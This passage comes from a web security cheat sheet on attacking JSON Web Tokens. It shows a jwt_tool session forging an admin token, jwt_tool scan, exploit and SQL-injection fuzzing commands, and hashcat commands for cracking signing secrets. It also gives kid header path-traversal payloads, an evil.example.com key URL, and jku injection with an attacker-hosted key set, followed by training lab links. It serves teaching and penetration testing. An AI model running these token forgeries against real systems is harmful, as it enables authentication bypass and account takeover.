<a id="__codelineno-20-7" name="__codelineno-20-7" href="#__codelineno-20-7"></a><span class="p">[</span><span class="n">0</span><span class="p">]</span> <span class="k">Continue</span> <span class="n">to</span> <span class="n">next</span> <span class="n">step</span>
|
|||
|
<a id="__codelineno-20-8" name="__codelineno-20-8" href="#__codelineno-20-8"></a>
|
|||
|
<a id="__codelineno-20-9" name="__codelineno-20-9" href="#__codelineno-20-9"></a><span class="n">Please</span> <span class="nb">select </span><span class="n">a</span> <span class="n">field</span> <span class="n">number</span> <span class="p">(</span><span class="n">or</span> <span class="n">0</span> <span class="n">to</span> <span class="k">Continue</span><span class="p">):</span>
|
|||
|
<a id="__codelineno-20-10" name="__codelineno-20-10" href="#__codelineno-20-10"></a><span class="p">></span> <span class="n">0</span>
|
|||
|
</code></pre></div>
|
|||
|
<p>Finally, finish the token by signing it with the previously retrieved "secret" key.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">Token</span> <span class="n">Signing</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="p">[</span><span class="n">1</span><span class="p">]</span> <span class="n">Sign</span> <span class="n">token</span> <span class="n">with</span> <span class="n">known</span> <span class="n">key</span>
|
|||
|
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="p">[</span><span class="n">2</span><span class="p">]</span> <span class="n">Strip</span> <span class="n">signature</span> <span class="n">from</span> <span class="n">token</span> <span class="n">vulnerable</span> <span class="n">to</span> <span class="n">CVE</span><span class="p">-</span><span class="n">2015</span><span class="p">-</span><span class="n">2951</span>
|
|||
|
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="p">[</span><span class="n">3</span><span class="p">]</span> <span class="n">Sign</span> <span class="n">with</span> <span class="n">Public</span> <span class="n">Key</span> <span class="n">bypass</span> <span class="n">vulnerability</span>
|
|||
|
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="p">[</span><span class="n">4</span><span class="p">]</span> <span class="n">Sign</span> <span class="n">token</span> <span class="n">with</span> <span class="n">key</span> <span class="n">file</span>
|
|||
|
<a id="__codelineno-21-6" name="__codelineno-21-6" href="#__codelineno-21-6"></a>
|
|||
|
<a id="__codelineno-21-7" name="__codelineno-21-7" href="#__codelineno-21-7"></a><span class="n">Please</span> <span class="nb">select </span><span class="n">an</span> <span class="n">option</span> <span class="n">from</span> <span class="n">above</span> <span class="p">(</span><span class="n">1</span><span class="p">-</span><span class="n">4</span><span class="p">):</span>
|
|||
|
<a id="__codelineno-21-8" name="__codelineno-21-8" href="#__codelineno-21-8"></a><span class="p">></span> <span class="n">1</span>
|
|||
|
<a id="__codelineno-21-9" name="__codelineno-21-9" href="#__codelineno-21-9"></a>
|
|||
|
<a id="__codelineno-21-10" name="__codelineno-21-10" href="#__codelineno-21-10"></a><span class="n">Please</span> <span class="n">enter</span> <span class="n">the</span> <span class="n">known</span> <span class="n">key</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-21-11" name="__codelineno-21-11" href="#__codelineno-21-11"></a><span class="p">></span> <span class="n">secret</span>
|
|||
|
<a id="__codelineno-21-12" name="__codelineno-21-12" href="#__codelineno-21-12"></a>
|
|||
|
<a id="__codelineno-21-13" name="__codelineno-21-13" href="#__codelineno-21-13"></a><span class="n">Please</span> <span class="n">enter</span> <span class="n">the</span> <span class="n">key</span> <span class="n">length</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-21-14" name="__codelineno-21-14" href="#__codelineno-21-14"></a><span class="p">[</span><span class="n">1</span><span class="p">]</span> <span class="n">HMAC-SHA256</span>
|
|||
|
<a id="__codelineno-21-15" name="__codelineno-21-15" href="#__codelineno-21-15"></a><span class="p">[</span><span class="n">2</span><span class="p">]</span> <span class="n">HMAC-SHA384</span>
|
|||
|
<a id="__codelineno-21-16" name="__codelineno-21-16" href="#__codelineno-21-16"></a><span class="p">[</span><span class="n">3</span><span class="p">]</span> <span class="n">HMAC-SHA512</span>
|
|||
|
<a id="__codelineno-21-17" name="__codelineno-21-17" href="#__codelineno-21-17"></a><span class="p">></span> <span class="n">1</span>
|
|||
|
<a id="__codelineno-21-18" name="__codelineno-21-18" href="#__codelineno-21-18"></a>
|
|||
|
<a id="__codelineno-21-19" name="__codelineno-21-19" href="#__codelineno-21-19"></a><span class="n">Your</span> <span class="n">new</span> <span class="n">forged</span> <span class="n">token</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-21-20" name="__codelineno-21-20" href="#__codelineno-21-20"></a><span class="p">[+]</span> <span class="n">URL</span> <span class="n">safe</span><span class="p">:</span> <span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="p">.</span><span class="n">eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ</span><span class="p">.</span><span class="n">xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic</span>
|
|||
|
<a id="__codelineno-21-21" name="__codelineno-21-21" href="#__codelineno-21-21"></a><span class="p">[+]</span> <span class="n">Standard</span><span class="p">:</span> <span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="p">.</span><span class="n">eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ</span><span class="p">.</span><span class="n">xbUXlOQClkhXEreWmB3da</span><span class="p">/</span><span class="n">xtBsT0Kjw7truyhDwF5Ic</span>
|
|||
|
</code></pre></div>
|
|||
|
<ul>
|
|||
|
<li>Recon: <code>python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw</code></li>
|
|||
|
<li>Scanning: <code>python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb</code></li>
|
|||
|
<li>Exploitation: <code>python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin</code></li>
|
|||
|
<li>Fuzzing: <code>python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt</code></li>
|
|||
|
<li>Review: <code>python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin</code></li>
|
|||
|
</ul>
|
|||
|
<h4 id="hashcat">Hashcat</h4>
|
|||
|
<blockquote>
|
|||
|
<p>Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - <a href="https://twitter.com/hashcat/status/955154646494040065">src</a></p>
|
|||
|
</blockquote>
|
|||
|
<ul>
|
|||
|
<li>Dictionary attack: <code>hashcat -a 0 -m 16500 jwt.txt wordlist.txt</code></li>
|
|||
|
<li>Rule-based attack: <code>hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule</code></li>
|
|||
|
<li>Brute force attack: <code>hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6</code></li>
|
|||
|
</ul>
|
|||
|
<h2 id="jwt-claims">JWT Claims</h2>
|
|||
|
<p><a href="https://www.iana.org/assignments/jwt/jwt.xhtml">IANA's JSON Web Token Claims</a></p>
|
|||
|
<h3 id="jwt-kid-claim-misuse">JWT kid Claim Misuse</h3>
|
|||
|
<p>The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.</p>
|
|||
|
<ul>
|
|||
|
<li>
|
|||
|
<p>Example #1 : Local file
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="nt">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HS256"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="nt">"typ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"JWT"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="nt">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/root/res/keys/secret.key"</span>
|
|||
|
<a id="__codelineno-22-5" name="__codelineno-22-5" href="#__codelineno-22-5"></a><span class="p">}</span>
|
|||
|
</code></pre></div></p>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Example #2 : Remote file
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="w"> </span><span class="nt">"alg"</span><span class="p">:</span><span class="s2">"RS256"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="w"> </span><span class="nt">"typ"</span><span class="p">:</span><span class="s2">"JWT"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="w"> </span><span class="nt">"kid"</span><span class="p">:</span><span class="s2">"http://localhost:7070/privKey.key"</span>
|
|||
|
<a id="__codelineno-23-5" name="__codelineno-23-5" href="#__codelineno-23-5"></a><span class="p">}</span>
|
|||
|
</code></pre></div></p>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<p>The content of the file specified in the kid header will be used to generate the signature.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="c1">// Example for HS256</span>
|
|||
|
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="nx">HMACSHA256</span><span class="p">(</span>
|
|||
|
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="w"> </span><span class="nx">base64UrlEncode</span><span class="p">(</span><span class="nx">header</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"."</span><span class="w"> </span><span class="o">+</span>
|
|||
|
<a id="__codelineno-24-4" name="__codelineno-24-4" href="#__codelineno-24-4"></a><span class="w"> </span><span class="nx">base64UrlEncode</span><span class="p">(</span><span class="nx">payload</span><span class="p">),</span>
|
|||
|
<a id="__codelineno-24-5" name="__codelineno-24-5" href="#__codelineno-24-5"></a><span class="w"> </span><span class="nx">your</span><span class="o">-</span><span class="mf">256</span><span class="o">-</span><span class="nx">bit</span><span class="o">-</span><span class="nx">secret</span><span class="o">-</span><span class="kr">from</span><span class="o">-</span><span class="nx">secret</span><span class="p">.</span><span class="nx">key</span>
|
|||
|
<a id="__codelineno-24-6" name="__codelineno-24-6" href="#__codelineno-24-6"></a><span class="p">)</span>
|
|||
|
</code></pre></div>
|
|||
|
<p>The common ways to misuse the kid header:
|
|||
|
* Get the key content to change the payload
|
|||
|
* Change the key path to force your own
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="o">>>></span> <span class="n">jwt</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span>
|
|||
|
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="o">...</span> <span class="p">{</span><span class="s2">"some"</span><span class="p">:</span> <span class="s2">"payload"</span><span class="p">},</span>
|
|||
|
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="o">...</span> <span class="s2">"secret"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="o">...</span> <span class="n">algorithm</span><span class="o">=</span><span class="s2">"HS256"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="o">...</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s2">"kid"</span><span class="p">:</span> <span class="s2">"http://evil.example.com/custom.key"</span><span class="p">},</span>
|
|||
|
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="o">...</span> <span class="p">)</span>
|
|||
|
</code></pre></div></p>
|
|||
|
<ul>
|
|||
|
<li>
|
|||
|
<p>Change the key path to a file with a predictable content.
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="p"><</span><span class="n">JWT</span><span class="p">></span> <span class="n">-I</span> <span class="n">-hc</span> <span class="n">kid</span> <span class="n">-hv</span> <span class="s2">"../../dev/null"</span> <span class="n">-S</span> <span class="n">hs256</span> <span class="n">-p</span> <span class="s2">""</span>
|
|||
|
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="p"><</span><span class="n">JWT</span><span class="p">></span> <span class="n">-I</span> <span class="n">-hc</span> <span class="n">kid</span> <span class="n">-hv</span> <span class="s2">"/proc/sys/kernel/randomize_va_space"</span> <span class="n">-S</span> <span class="n">hs256</span> <span class="n">-p</span> <span class="s2">"2"</span>
|
|||
|
</code></pre></div></p>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Modify the kid header to attempt SQL and Command Injections</p>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<h3 id="jwks-jku-header-injection">JWKS - jku header injection</h3>
|
|||
|
<p>"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.</p>
|
|||
|
<p>It is sometimes exposed publicly via a standard endpoint:</p>
|
|||
|
<ul>
|
|||
|
<li><code>/jwks.json</code></li>
|
|||
|
<li><code>/.well-known/jwks.json</code></li>
|
|||
|
<li><code>/openid/connect/jwks.json</code></li>
|
|||
|
<li><code>/api/keys</code></li>
|
|||
|
<li><code>/api/v1/keys</code></li>
|
|||
|
<li><a href="https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html"><code>/{tenant}/oauth2/v1/certs</code></a></li>
|
|||
|
</ul>
|
|||
|
<p>You should create your own key pair for this attack and host it. It should look like that:</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="w"> </span><span class="nt">"keys"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span>
|
|||
|
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="w"> </span><span class="p">{</span>
|
|||
|
<a id="__codelineno-27-4" name="__codelineno-27-4" href="#__codelineno-27-4"></a><span class="w"> </span><span class="nt">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"beaefa6f-8a50-42b9-805a-0ab63c3acc54"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-27-5" name="__codelineno-27-5" href="#__codelineno-27-5"></a><span class="w"> </span><span class="nt">"kty"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RSA"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-27-6" name="__codelineno-27-6" href="#__codelineno-27-6"></a><span class="w"> </span><span class="nt">"e"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AQAB"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-27-7" name="__codelineno-27-7" href="#__codelineno-27-7"></a><span class="w"> </span><span class="nt">"n"</span><span class="p">:</span><span class="w"> </span><span class="s2">"nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"</span>
|
|||
|
<a id="__codelineno-27-8" name="__codelineno-27-8" href="#__codelineno-27-8"></a><span class="w"> </span><span class="p">}</span>
|
|||
|
<a id="__codelineno-27-9" name="__codelineno-27-9" href="#__codelineno-27-9"></a><span class="w"> </span><span class="p">]</span>
|
|||
|
<a id="__codelineno-27-10" name="__codelineno-27-10" href="#__codelineno-27-10"></a><span class="p">}</span>
|
|||
|
</code></pre></div>
|
|||
|
<p><strong>Exploit</strong>:</p>
|
|||
|
<ul>
|
|||
|
<li>Using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">JWT_HERE</span> <span class="n">-X</span> <span class="n">s</span>
|
|||
|
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">JWT_HERE</span> <span class="n">-X</span> <span class="n">s</span> <span class="n">-ju</span> <span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">jwks</span><span class="p">.</span><span class="n">json</span>
|
|||
|
</code></pre></div></li>
|
|||
|
<li>Using <a href="https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd">portswigger/JWT Editor</a><ol>
|
|||
|
<li>Generate a new RSA key and host it</li>
|
|||
|
<li>Edit JWT's data</li>
|
|||
|
<li>Replace the <code>kid</code> header with the one from your JWKS</li>
|
|||
|
<li>Add a <code>jku</code> header and sign the JWT (<code>Don't modify header</code> option should be checked)</li>
|
|||
|
</ol>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<p><strong>Deconstructed</strong>:</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="p">{</span><span class="nt">"typ"</span><span class="p">:</span><span class="s2">"JWT"</span><span class="p">,</span><span class="nt">"alg"</span><span class="p">:</span><span class="s2">"RS256"</span><span class="p">,</span><span class="w"> </span><span class="nt">"jku"</span><span class="p">:</span><span class="s2">"https://example.com/jwks.json"</span><span class="p">,</span><span class="w"> </span><span class="nt">"kid"</span><span class="p">:</span><span class="s2">"id_of_jwks"</span><span class="p">}</span><span class="err">.</span>
|
|||
|
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="p">{</span><span class="nt">"login"</span><span class="p">:</span><span class="s2">"admin"</span><span class="p">}</span><span class="err">.</span>
|
|||
|
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="p">[</span><span class="err">Sig</span><span class="kc">ne</span><span class="err">d</span><span class="w"> </span><span class="err">wi</span><span class="kc">t</span><span class="err">h</span><span class="w"> </span><span class="kc">ne</span><span class="err">w</span><span class="w"> </span><span class="err">Priva</span><span class="kc">te</span><span class="w"> </span><span class="err">key;</span><span class="w"> </span><span class="err">Public</span><span class="w"> </span><span class="err">key</span><span class="w"> </span><span class="err">expor</span><span class="kc">te</span><span class="err">d</span><span class="p">]</span>
|
|||
|
</code></pre></div>
|
|||
|
<h2 id="labs">Labs</h2>
|
|||
|
<ul>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature">PortSwigger - JWT authentication bypass via unverified signature</a></li>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification">PortSwigger - JWT authentication bypass via flawed signature verification</a></li>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key">PortSwigger - JWT authentication bypass via weak signing key</a></li>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection">PortSwigger - JWT authentication bypass via jwk header injection</a></li>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection">PortSwigger - JWT authentication bypass via jku header injection</a></li>
|
|||
|
<li><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal">PortSwigger - JWT authentication bypass via kid header path traversal</a></li>
|
|||
|
<li><a href="https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction">Root Me - JWT - Introduction</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token">Root Me - JWT - Revoked token</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret">Root Me - JWT - Weak secret</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature">Root Me - JWT - Unsecure File Signature</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key">Root Me - JWT - Public key</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection">Root Me - JWT - Header Injection</a></li>
|
|||
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling">Root Me - JWT - Unsecure Key Handling</a></li>
|
|||
|
</ul>
|
|||
|
<h2 id="references">References</h2>
|
|||
|
<ul>
|
|||
|
<li><a href="https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5">5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019</a></li>
|
|||
|
<li><a href="https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/">Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016</a></li>
|
|||
|
<li><a href="https://www.youtube.com/watch?v=d7wmUz57Nlg">Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023</a></li>
|
|||
|
<li><a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//">Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015</a></li>
|
|||
|
<li><a href="https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6">Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018</a></li>
|
|||
|
<li><a href="https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html">Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017</a></li>
|
|||
|
<li><a href="https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a">Hacking JSON Web Tokens - Vickie Li - October 27, 2019</a></li>
|
|||
|
<li><a href="https://nandynarwhals.org/hitbgsec2017-pasty/">HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017</a></li>
|
|||
|
<li><a href="https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9">How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017</a></li>
|
|||
|
<li><a href="https://insomniasec.com/blog/auth0-jwt-validation-bypass">JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020</a></li>
|
|||
|
<li><a href="https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities">JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022</a></li>
|
|||
|
<li><a href="https://trustfoundry.net/jwt-hacking-101/">JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017</a></li>
|
|||
|
<li><a href="https://github.com/dwyl/learn-json-web-tokens">Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022</a></li>
|
|||
|
<li><a href="https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/">Privilege Escalation like a Boss - janijay007 - October 27, 2018</a></li>
|
|||
|
<li><a href="https://medium.com/@blackhood/simple-jwt-hacking-73870a976750">Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019</a></li>
|
|||
|
<li><a href="https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/">WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016</a></li>
|
|||
|
<li><a href="https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/">Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019</a></li>
|
|||
|
</ul>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<aside class="md-source-file">
|
|||
|
|
|||
|
|
|||
|
<span class="md-source-file__fact">
|
|||
|
<span class="md-icon" title="Last update">
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg>
|
|||
|
</span>
|
|||
|
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 29, 2024</span>
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</aside>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="social-container">
|
|||
|
<b>Share this content</b>
|
|||
|
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
|
|||
|
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
|
|||
|
<a class="a2a_button_x"></a>
|
|||
|
<a class="a2a_button_telegram"></a>
|
|||
|
<a class="a2a_button_linkedin"></a>
|
|||
|
<a class="a2a_button_email"></a>
|
|||
|
<a class="a2a_button_microsoft_teams"></a>
|
|||
|
</div>
|
|||
|
<br>
|
|||
|
<script async src="https://static.addtoany.com/menu/page.js"></script>
|
|||
|
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
|
|||
|
</div>
|
|||
|
|
|||
|
</article>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
|
|||
|
</div>
|
|||
|
|
|||
|
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8z"/></svg>
|
|||
|
Back to top
|
|||
|
</button>
|
|||
|
|
|||
|
</main>
|
|||
|
|
|||
|
<footer class="md-footer">
|
|||
|
|
|||
|
<div class="md-footer-meta md-typeset">
|
|||
|
<div class="md-footer-meta__inner md-grid">
|
|||
|
<div class="md-copyright">
|
|||
|
|
|||
|
|
|||
|
Made with
|
|||
|
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
|
|||
|
Material for MkDocs
|
|||
|
</a>
|
|||
|
|
|||
|
</div>
|
|||
|
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</footer>
|
|||
|
|
|||
|
</div>
|
|||
|
<div class="md-dialog" data-md-component="dialog">
|
|||
|
<div class="md-dialog__inner md-typeset"></div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
